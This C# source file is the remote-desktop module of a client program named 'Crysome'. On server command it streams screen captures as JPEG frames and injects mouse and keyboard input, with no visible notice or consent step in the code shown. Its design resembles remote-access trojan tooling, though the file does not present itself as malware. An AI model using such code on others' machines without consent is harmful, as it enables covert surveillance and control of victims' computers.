using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;
using Crysome.Common.Network.Packets.Server;
using TurboJpegWrapper;

namespace Crysome.Client.Handlers;

public static class RemoteDesktopHandlers
{
	private struct INPUT
	{
		public uint type;
		public InputUnion U;
		public static int Size => Marshal.SizeOf(typeof(INPUT));
	}

	[StructLayout(LayoutKind.Explicit)]
	private struct InputUnion
	{
		[FieldOffset(0)]
		public MOUSEINPUT mi;
		[FieldOffset(0)]
		public KEYBDINPUT ki;
	}

	private struct MOUSEINPUT
	{
		public int dx;
		public int dy;
		public uint mouseData;
		public uint dwFlags;
		public uint time;
		public IntPtr dwExtraInfo;
	}

	private struct KEYBDINPUT
	{
		public ushort wVk;
		public ushort wScan;
		public uint dwFlags;
		public uint time;
		public IntPtr dwExtraInfo;
	}

	private static volatile bool _desktopRunning;
	private static Thread _desktopThread;
	private static CrysomeClient _desktopClient;
	private static int _intervalMs = 200;
	private static int _screenIndex = -1;
	private static volatile int _jpegQuality = 80;
	private static byte _captureMode;
	public static string ActiveMode { get; private set; } = "Idle";
	private static ImageCodecInfo _jpegCodec;
	private static readonly object _codecLock = new object();
	private static TurboJpegWrapper.TJCompressor _turboCompressor;
	private static bool _turboChecked;

	private const int SM_XVIRTUALSCREEN = 76;
	private const int SM_YVIRTUALSCREEN = 77;
	private const int SM_CXVIRTUALSCREEN = 78;
	private const int SM_CYVIRTUALSCREEN = 79;

	public static void HandleGetScreens(CrysomeClient client, IPacket packet)
	{
		try
		{
			Screen[] allScreens = Screen.AllScreens;
			ScreenInfo[] array = (ScreenInfo[])(object)new ScreenInfo[allScreens.Length];
			for (int i = 0; i < allScreens.Length; i++)
			{
				Screen screen = allScreens[i];
				array[i] = new ScreenInfo
				{
					Name = screen.DeviceName,
					X = screen.Bounds.X,
					Y = screen.Bounds.Y,
					Width = screen.Bounds.Width,
					Height = screen.Bounds.Height,
					IsPrimary = screen.Primary
				};
			}
			client.SendPacket((IPacket)new ScreensResponsePacket(array));
		}
		catch
		{
			client.SendPacket((IPacket)new ScreensResponsePacket((ScreenInfo[])(object)new ScreenInfo[0]));
		}
	}

	public static void HandleStartRemoteDesktop(CrysomeClient client, IPacket packet)
	{
		_desktopRunning = false;
		_desktopThread?.Join(500);
		StartRemoteDesktopPacket val = (StartRemoteDesktopPacket)packet;
		_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
		_screenIndex = val.ScreenIndex;
		_captureMode = val.CaptureMode;
		_desktopClient = client;
		_jpegQuality = 80;
		_desktopRunning = true;
		_desktopThread = new Thread(DesktopLoop) { IsBackground = true };
		_desktopThread.Start();
	}

	public static void HandleStopRemoteDesktop(CrysomeClient client, IPacket packet)
	{
		_desktopRunning = false;
		_desktopThread?.Join(2000);
	}

	public static void HandleRdpSetQuality(CrysomeClient client, IPacket packet)
	{
		RdpSetQualityPacket val = (RdpSetQualityPacket)packet;
		_jpegQuality = Math.Max(10, Math.Min(95, val.Quality));
		if (val.IntervalMs > 0)
			_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
	}

	public static void HandleRemoteInput(CrysomeClient client, IPacket packet)
	{
		RemoteInputPacket val = (RemoteInputPacket)packet;
		try
		{
			int offsetX = 0, offsetY = 0;
			Screen targetScreen = GetTargetScreen();
			if (targetScreen != null)
			{
				offsetX = targetScreen.Bounds.X;
				offsetY = targetScreen.Bounds.Y;
			}
			int x = val.X + offsetX;
			int y = val.Y + offsetY;

			switch (val.Kind)
			{
				case 0: SendMouseMove(x, y); break;
				case 1: SendMouseButton(x, y, val.ButtonOrKey, true); break;
				case 2: SendMouseButton(x, y, val.ButtonOrKey, false); break;
				case 3: SendKey((ushort)(val.ButtonOrKey & 0xFF), true); break;
				case 4: SendKey((ushort)(val.ButtonOrKey & 0xFF), false); break;
			}
		}
		catch { }
	}

	private static void DesktopLoop()
	{
		var sw = new Stopwatch();
		DxgiCapture dxgi = null;
		bool dxgiAvailable = false;
		int dxgiRetryCounter = 0;

		if (_captureMode == 2)
		{
			// GDI+ forced — skip DXGI entirely
			dxgiAvailable = false;
			ActiveMode = "GDI+ (forced)";
			Program.Log("[RDP] GDI+ forced by server, skipping DXGI");
		}
		else
		{
			// Try DXGI (Auto or DXGI forced)
			try
			{
				dxgi = new DxgiCapture();
				int idx = _screenIndex >= 0 ? _screenIndex : 0;
				dxgiAvailable = dxgi.Init(idx);
				if (dxgiAvailable)
				{
					ActiveMode = _captureMode == 1 ? "DXGI (forced)" : "DXGI";
					Program.Log("[RDP] DXGI Desktop Duplication active" + (_captureMode == 1 ? " (forced)" : ""));
				}
			}
			catch
			{
				dxgiAvailable = false;
			}

			if (!dxgiAvailable)
			{
				if (_captureMode == 1)
				{
					// DXGI forced but failed — log error, don't fall back
					ActiveMode = "DXGI (failed)";
					Program.Log("[RDP] DXGI forced but init failed, no fallback");
				}
				else
				{
					// Auto mode — fall back to GDI+
					ActiveMode = "GDI+";
					Program.Log("[RDP] DXGI unavailable, using GDI+ fallback");
				}
			}
		}

		Bitmap gdiBitmap = null;
		Rectangle gdiRect = Rectangle.Empty;

		try
		{
			while (_desktopRunning && _desktopClient != null)
			{
				sw.Restart();
				try
				{
					byte[] jpeg = null;

					if (dxgiAvailable)
					{
						jpeg = dxgi.CaptureFrameToJpeg(_jpegQuality, 16);
						if (jpeg != null)
						{
							dxgiRetryCounter = 0;
						}
						else
						{
							dxgiRetryCounter++;
							if (dxgiRetryCounter > 120)
							{
								Program.Log("[RDP] DXGI reinit");
								int idx = _screenIndex >= 0 ? _screenIndex : 0;
								dxgiAvailable = dxgi.Init(idx);
								dxgiRetryCounter = 0;
								if (!dxgiAvailable)
								{
									if (_captureMode == 1)
									{
										Program.Log("[RDP] DXGI reinit failed, DXGI forced — no fallback");
										ActiveMode = "DXGI (failed)";
									}
									else
									{
										Program.Log("[RDP] DXGI reinit failed, falling back to GDI+");
										ActiveMode = "GDI+";
									}
									dxgi.Dispose();
									dxgi = null;
								}
							}
						}
					}

					if (!dxgiAvailable && _captureMode != 1)
					{
						Rectangle bounds = GetTargetScreen().Bounds;
						if (gdiBitmap == null || bounds != gdiRect)
						{
							gdiBitmap?.Dispose();
							gdiBitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb);
							gdiRect = bounds;
						}
						jpeg = CaptureGdiToJpeg(gdiBitmap, bounds, _jpegQuality);
					}

					if (jpeg != null && jpeg.Length > 0)
					{
						try { _desktopClient?.SendDesktopScreenFrame(jpeg); } catch { }
					}
				}
				catch { }

				int elapsed = (int)sw.ElapsedMilliseconds;
				int sleep = _intervalMs - elapsed;
				if (sleep > 1)
					Thread.Sleep(sleep);
			}
		}
		finally
		{
			ActiveMode = "Idle";
			dxgi?.Dispose();
			gdiBitmap?.Dispose();
		}
	}

	private static byte[] EncodeBitmapToJpeg(Bitmap bmp, int quality)
	{
		if (!_turboChecked)
		{
			_turboChecked = true;
			try { _turboCompressor = new TJCompressor(); }
			catch { _turboCompressor = null; }
		}

		if (_turboCompressor != null)
		{
			try
			{
				var bmpData = bmp.LockBits(
					new Rectangle(0, 0, bmp.Width, bmp.Height),
					ImageLockMode.ReadOnly,
					PixelFormat.Format24bppRgb);
				try
				{
					return _turboCompressor.Compress(
						bmpData.Scan0,
						bmpData.Stride,
						bmp.Width,
						bmp.Height,
						TJPixelFormats.TJPF_BGR,
						TJSubsamplingOptions.TJSAMP_420,
						quality,
						TJFlags.FASTDCT);
				}
				finally
				{
					bmp.UnlockBits(bmpData);
				}
			}
			catch
			{
				_turboCompressor = null;
			}
		}

		var codec = GetJpegCodec();
		if (codec != null)
		{
			using (var ep = new EncoderParameters(1))
			{
				ep.Param[0] = new EncoderParameter(Encoder.Quality, quality);
				using (var ms = new MemoryStream(65536))
				{
					bmp.Save(ms, codec, ep);
					return ms.ToArray();
				}
			}
		}
		using (var ms = new MemoryStream(65536))
		{
			bmp.Save(ms, ImageFormat.Jpeg);
			return ms.ToArray();
		}
	}

	private static byte[] CaptureGdiToJpeg(Bitmap reuseBmp, Rectangle bounds, int quality)
	{
		using (var g = Graphics.FromImage(reuseBmp))
			g.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size);
		return EncodeBitmapToJpeg(reuseBmp, quality);
	}

	private static ImageCodecInfo GetJpegCodec()
	{
		if (_jpegCodec != null) return _jpegCodec;
		lock (_codecLock)
		{
			if (_jpegCodec != null) return _jpegCodec;
			foreach (var info in ImageCodecInfo.GetImageEncoders())
			{
				if (info.FormatID == ImageFormat.Jpeg.Guid)
				{
					_jpegCodec = info;
					break;
				}
			}
		}
		return _jpegCodec;
	}

	private static Screen GetTargetScreen()
	{
		var all = Screen.AllScreens;
		if (_screenIndex >= 0 && _screenIndex < all.Length)
			return all[_screenIndex];
		return Screen.PrimaryScreen;
	}

	private static void ToAbsolute(int x, int y, out int ax, out int ay)
	{
		int vx = GetSystemMetrics(SM_XVIRTUALSCREEN);
		int vy = GetSystemMetrics(SM_YVIRTUALSCREEN);
		int vw = GetSystemMetrics(SM_CXVIRTUALSCREEN);
		int vh = GetSystemMetrics(SM_CYVIRTUALSCREEN);
		if (vw <= 0) vw = Screen.PrimaryScreen.Bounds.Width;
		if (vh <= 0) vh = Screen.PrimaryScreen.Bounds.Height;
		ax = (int)((double)(x - vx) * 65535.0 / vw);
		ay = (int)((double)(y - vy) * 65535.0 / vh);
	}

	private static void SendMouseMove(int x, int y)
	{
		ToAbsolute(x, y, out var ax, out var ay);
		var input = new INPUT[1];
		input[0].type = 0;
		input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 };
		SendInput(1, input, INPUT.Size);
	}

	private static void SendMouseButton(int x, int y, int button, bool down)
	{
		ToAbsolute(x, y, out var ax, out var ay);
		uint flags = button == 1 ? (down ? 2u : 4u) : (down ? 8u : 16u);
		var input = new INPUT[1];
		input[0].type = 0;
		input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 | flags };
		SendInput(1, input, INPUT.Size);
	}

	private static void SendKey(ushort vk, bool down)
	{
		var input = new INPUT[1];
		input[0].type = 1;
		input[0].U.ki = new KEYBDINPUT { wVk = vk, dwFlags = down ? 0u : 2u };
		SendInput(1, input, INPUT.Size);
	}

	[DllImport("user32.dll", SetLastError = true)]
	private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize);

	[DllImport("user32.dll")]
	private static extern int GetSystemMetrics(int nIndex);
}
